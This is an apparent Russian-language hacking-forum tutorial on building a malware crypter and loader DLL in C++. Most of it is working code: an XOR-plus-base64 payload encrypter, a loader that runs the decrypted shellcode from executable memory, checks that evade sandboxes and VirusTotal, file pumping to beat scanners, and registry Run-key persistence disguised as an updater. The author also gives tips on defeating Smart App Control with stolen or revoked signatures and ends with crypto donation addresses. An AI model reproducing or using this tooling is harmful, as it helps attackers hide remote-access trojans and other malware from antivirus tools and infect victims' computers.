И пишем код для шифрования файлика, для начала почему мы добавили флаг -municode? потому что если юзер араб то у него будут далеко не анси строки и по просту не будет работать приложение и нужна будет папка с латинскими буквами C:/latin.
C++: Скопировать в буфер обмена
Code:
#include <fstream>
#include <string>
#include <random>
#include <iostream>
#include "library.h"
#include "base64.h"
using namespace std;
std::string read_file_str(std::wstring path) {
std::wifstream wfile = std::wifstream(path.c_str(), std::ios_base::binary | std::ios_base::ate);
std::wstring file_data(wfile.tellg(), '\0');
wfile.seekg(0);
wfile.read((wchar_t *)file_data.data(), file_data.length());
std::string data_ansi = {file_data.begin(),file_data.end()};
return data_ansi;
}
bool write_to_file(const std::wstring& file_name, std::string data) {
std::wofstream output_file = std::wofstream(file_name.c_str(), std::ofstream::binary);
if (!output_file.good()) {
return false;
}
std::wstring data_unicode = {data.begin(),data.end()};
output_file.write(data_unicode.c_str(), data_unicode.length());
output_file.close();
return true;
}
int wmain(int argc, wchar_t* argv[]) {
if(argc < 3){
printf("\nInvalid arguments: count\nUsage: exe,out\nv");
system("PAUSE");
return 0;
}
string file = read_file_str(argv[1]);
file = EncryptDecrypt(file,default_key);
file = base64_encode(file);
write_to_file(argv[2],file);
system("pause");
}
Обновлённый library.h, туда я поместил default_key и метод шифования пейлоада.
C++: Скопировать в буфер обмена
Code:
int default_key = 12345;
std::string EncryptDecrypt(const std::string& input, int key) {
std::string output = input;
char a;
key = rand() % 99;
for(size_t i = 0; i < input.length(); ++i) {
a = input[i];
int b = static_cast<int>(a);
b ^= key;
a = static_cast<char>(b);
output[i] = a;
}
return output;
}
C++: Скопировать в буфер обмена
Code:
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}
inline std::string base64_encode(const std::string &bytes) {
auto bytes_to_encode = reinterpret_cast<unsigned char const *>(&bytes[0]);
unsigned int in_len = bytes.size();
std::string ret;
int i = 0;
int j = 0;
unsigned char char_array_3[3];
unsigned char char_array_4[4];
while (in_len--) {
char_array_3[i++] = *(bytes_to_encode++);
if (i == 3) {
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] =
((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] =
((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for (i = 0; (i < 4); i++)
ret += base64_chars[char_array_4[i]];
i = 0;
}
}
if (i) {
for (j = i; j < 3; j++)
char_array_3[j] = '\0';
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] =
((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] =
((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for (j = 0; (j < i + 1); j++)
ret += base64_chars[char_array_4[j]];
while ((i++ < 3))
ret += '=';
}
return ret;
}
inline std::string base64_decode(std::string const &encoded_string) {
int in_len = encoded_string.size();
int i = 0;
int j = 0;
int in_ = 0;
unsigned char char_array_4[4], char_array_3[3];
std::string ret;
while (in_len-- && (encoded_string[in_] != '=') &&
is_base64(encoded_string[in_])) {
char_array_4[i++] = encoded_string[in_];
in_++;
if (i == 4) {
for (i = 0; i < 4; i++)
char_array_4[i] = base64_chars.find(char_array_4[i]);
char_array_3[0] =
(char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] =
((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (i = 0; (i < 3); i++)
ret += char_array_3[i];
i = 0;
}
}
if (i) {
for (j = i; j < 4; j++)
char_array_4[j] = 0;
for (j = 0; j < 4; j++)
char_array_4[j] = base64_chars.find(char_array_4[j]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] =
((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (j = 0; (j < i - 1); j++)
ret += char_array_3[j];
}
return ret;
}
Далее используем наш скомпиленный Encrypter.exe
Файл сохранился в ваш путь далее идём в любой hex редактор например HxD на винде, для линукса Okteta. Там выбираем Правка -> Копировать как Массив C, в HxD примерно такой же алгоритм.
Создаём новый файл payload.h инклудаем его и base64.h в library.cpp
Код: Скопировать в буфер обмена
Code:
#include "base64.h"
#include "payload.h"
C++: Скопировать в буфер обмена
Code:
void* Process = funcGetCurrentProcess();
std::string base_dec = base64_decode(buffer);
std::string buffer_dec = EncryptDecrypt(base_dec,default_key);
PVOID allocatedMem = funcVirtualAllocEx(Process,0, buffer_dec.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(allocatedMem == nullptr){
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
exit(EXIT_FAILURE);
}
SIZE_T bytes;
funcWriteProcessMemory(Process, allocatedMem, buffer_dec.c_str(), buffer_dec.size(), &bytes);
((void(*)())allocatedMem)();
ExitProcess(0);
Спойлер: Предохраняемся от вирустотала простыми трюками
Всех наверное закалёбывают боты с вирустотала которые вечно стучат на файл, или другие конченные AnyRun машины и другая подобная херь, решил показать как можно предохраниться от половины если у вас Dllка, но можно будет юзать и в exe думаю. Добавляю опять же call на GetUserNameA, создаю typedef.
C++: Скопировать в буфер обмена
Code:
typedef WINBOOL(WINAPI *PGetUserNameA)(LPSTR lpBuffer, LPDWORD pcbBuffer);
PGetUserNameA funcGetUserNameA;
bool CheckUserNames() {
char *sUsers[] = {(char *) AY_OBFUSCATE("UserName"),
(char *) AY_OBFUSCATE("user"),
(char *) AY_OBFUSCATE("sandbox"), (char *) AY_OBFUSCATE("honey"), (char *) AY_OBFUSCATE("vmware"),
(char *) AY_OBFUSCATE("currentuser"), (char *) AY_OBFUSCATE("nepenthes"),
(char *) AY_OBFUSCATE("andy"),
(char *) AY_OBFUSCATE("CurrentUser"), (char *) AY_OBFUSCATE("HAL9TH"),
(char *) AY_OBFUSCATE("JohnDoe")};
char szBuffer[30];
unsigned long lSize = sizeof(szBuffer);
if (funcGetUserNameA(szBuffer, &lSize) == 0) {
return (1);
}
for (int i = 0; i < (sizeof(sUsers) / sizeof(char *)); i++) {
if (strstr(szBuffer, sUsers[i])) {
return 1;
}
}
return 0;
}
C++: Скопировать в буфер обмена
Code:
typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName);
PLoadLibraryA funcLoadLibraryA = (PLoadLibraryA)pGetProcAddress(hKernel32, AY_OBFUSCATE("LoadLibraryA"));
funcGetUserNameA = (PGetUserNameA)pGetProcAddress(funcLoadLibraryA(AY_OBFUSCATE("ADVAPI32.dll")), AY_OBFUSCATE("GetUserNameA"));
Примерно таким образом мы добавляем функцию в нашу дллку, теперь как же ещё можно предостеречься, если посмотреть на зенбокс то он всегда грузит вашу дллку через rundll32, соответственно мы можем просто исключить чтобы наша дллка была загружена в программах с системной папки или по другому, но это немного туповато но в целом код выглядел бы так.
C++: Скопировать в буфер обмена
Code:
bool contains(const std::wstring& one, const std::wstring& two) {
return one.find(two)!= std::wstring::npos;
}
void Check(){
wchar_t CurrentFilePath[1024];
GetModuleFileNameW(0, CurrentFilePath, 1024);
if(contains(CurrentFilePath,L"rundll")){
exit(EXIT_FAILURE);
}
}
Допустим у вас закриптована ратка или другая программа как же сделать автозагрузку? В целом можно тупо добавить файл из директории темп и дело сделано, но есть и другие пути автозагрузки.
Первое давайте создадим собственнный пампер код на плюсах, да будет максимально не оптимизированным и ему нужно будет время чтобы запампить файл, но всё же, код тупо добавляет пробел и записывает его в конец файла в цикле который считает сколько мегабайт мы добавили.
C++: Скопировать в буфер обмена
Code:
std::wstring Pump(const std::wstring& asmPath, int mb) {
std::wofstream fileStream(asmPath, std::ios::binary | std::ios::app);
long fileSizeInBytes = static_cast<long>(mb * 1024 * 1024); // 1MB = 1024 * 1024 bytes
fileStream.seekp(0, std::ios_base::end);
long currentPosition = fileStream.tellp();
long bytesToAdd = fileSizeInBytes - currentPosition;
while (bytesToAdd > 0) {
const wchar_t space = L' ';
fileStream.write(&space, 1);
bytesToAdd--;
}
fileStream.close();
return asmPath;
}
Для начала создадим метод для конвертации cStr в wStr.
C++: Скопировать в буфер обмена
Code:
std::wstring strWide(const char* cStr) {
std::string str = cStr;
std::wstring wideStr(str.begin(), str.end());
return wideStr;
}
}
C++: Скопировать в буфер обмена
Code:
bool exists(const std::wstring& path) {
return std::filesystem::exists(path);
}
void EnableAutoRun() {
HKEY hkey;
wchar_t CurrentFilePath[1024];
GetModuleFileNameW(0, CurrentFilePath, 1024);
std::filesystem::path CurrentExe = CurrentFilePath;
wchar_t my_documents[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, SHGFP_TYPE_CURRENT, my_documents);
std::filesystem::path documents = my_documents;
std::wstring appPath = CurrentExe.filename();
std::wstring dllPath = strWide(AY_OBFUSCATE("g2m.dll"));
std::wstring updaterDLL = documents / dllPath;
std::wstring updaterEXE = documents / appPath;
if(!exists(updaterEXE)){
_wremove(updaterDLL.c_str());
std::filesystem::copy_file(dllPath, updaterDLL);
std::filesystem::copy_file(appPath, updaterEXE);
RegCreateKeyExW(HKEY_CURRENT_USER,
strWide(AY_OBFUSCATE("Software\\Microsoft\\Windows\\CurrentVersion\\Run")).c_str(), 0, NULL, 0,
KEY_WRITE, NULL, &hkey, NULL);
RegSetValueExW(hkey, NULL, 0, REG_SZ, (unsigned char *) updaterEXE.c_str(), MAX_PATH);
Pump(updaterDLL, 100);
}
}
Но так же есть ещё другие способы автозагрузки например -> rundll32.exe path,Entry в реестре автозагрузки вместо нашего пути к исполняемому файлу.
В целом статью разжевал как мог, скомпиленные исходники прикреплю рядом ниже, там в архиве будет бублик, encrypter, сами исходники и G2M.exe + скомпиленная дллка как пример / дллка без обфускции noobf.dll. Минус данного метода заключается в новой появившейся в Windows 11 Smart App Control которая впрочем легко обходиться взятием подписи SignThief с ехе где она ревокнута, или затеранием части подписи чтобы было написано Revoked. Для байпасса хром алерта достаточно будет запампить файлы dll и добавить мусора в архив, скантайм детект -> https://avcheck.net/id/9Eq0MqQf3yqi , скорее всего из-за того что я засрал компилер в хламину и хеллоу ворллд у меня с 20 детектами на вт у меня). Возможно на винде коды придётся интрпретировать по другому потому, что там иногда не все функции имеются в библиотеках. Возможно в статье допустил грамматические ошибки или же вставил код до его фикса / или до окончания дописания, такие моменты выделяйте, исправлю. Очень устал от написания данной статьи, итак был измотан, но всё же думаю стоило попробовать. Не успел показать как быстро чистить код + использовать Llvm обфускатор, если память не изменяет видел на форуме как его юзают с MinGW. Так же думаю добавил бы в будущем обходы виртуализации и песочниц.
Пароль к архиву md5 местный пароль -> sha1 архив 7z формата.
По символам я скорее всего не прошёл на оплату статей, но всё же решил сделать, кто хочет может отправить копеечку,
BTC: bc1q0j03p529x89347dulxc76nxqfuhjjehp6pfruy
ETH / MATIC / BNB и ему подобные: 0xE48Ca4860Fb3a76F318872744BA32F7682Af5b4a
LTC: ltc1qm29d5ukx49rdw035d9arw3l36nyytw0esnhvl8
USDT / TRX:
THTZJ1sV29TiTja9Gxq9rbnDoSuidgp2x6